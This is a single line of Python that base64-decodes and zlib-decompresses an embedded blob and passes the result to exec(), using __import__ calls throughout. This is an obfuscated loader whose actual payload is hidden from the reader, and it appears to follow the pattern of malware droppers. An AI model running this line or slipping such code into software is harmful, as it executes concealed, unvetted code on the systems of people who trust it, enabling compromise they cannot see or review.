exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+RW5JMA1bSQsWVxDxICKC9SYiu8m0hs0mIUl1VfzvNqR4meG9efPmw0zBx4yTVyNk/m3NwIc+wVrylONBZZ7NBGjnI56xcTj2bg902bINanL8OsYmdbVZ1ETP+QlvH2/u37bPT7fXD6zohPLOgcqUEimyCsLtox+F8YQvZXuxYkU1ROhH1MCsIORiX+aLZAECXTFku7qWOLjQq5GSqzvCk4igPqhk7KV9Rbo7YcvQ57uxgC04qtmlPdrps//qotIMwQyKlsuFBuWnECElWp8ghrUspIai5D8kkU36ZegPVfhh1Q==')[0])))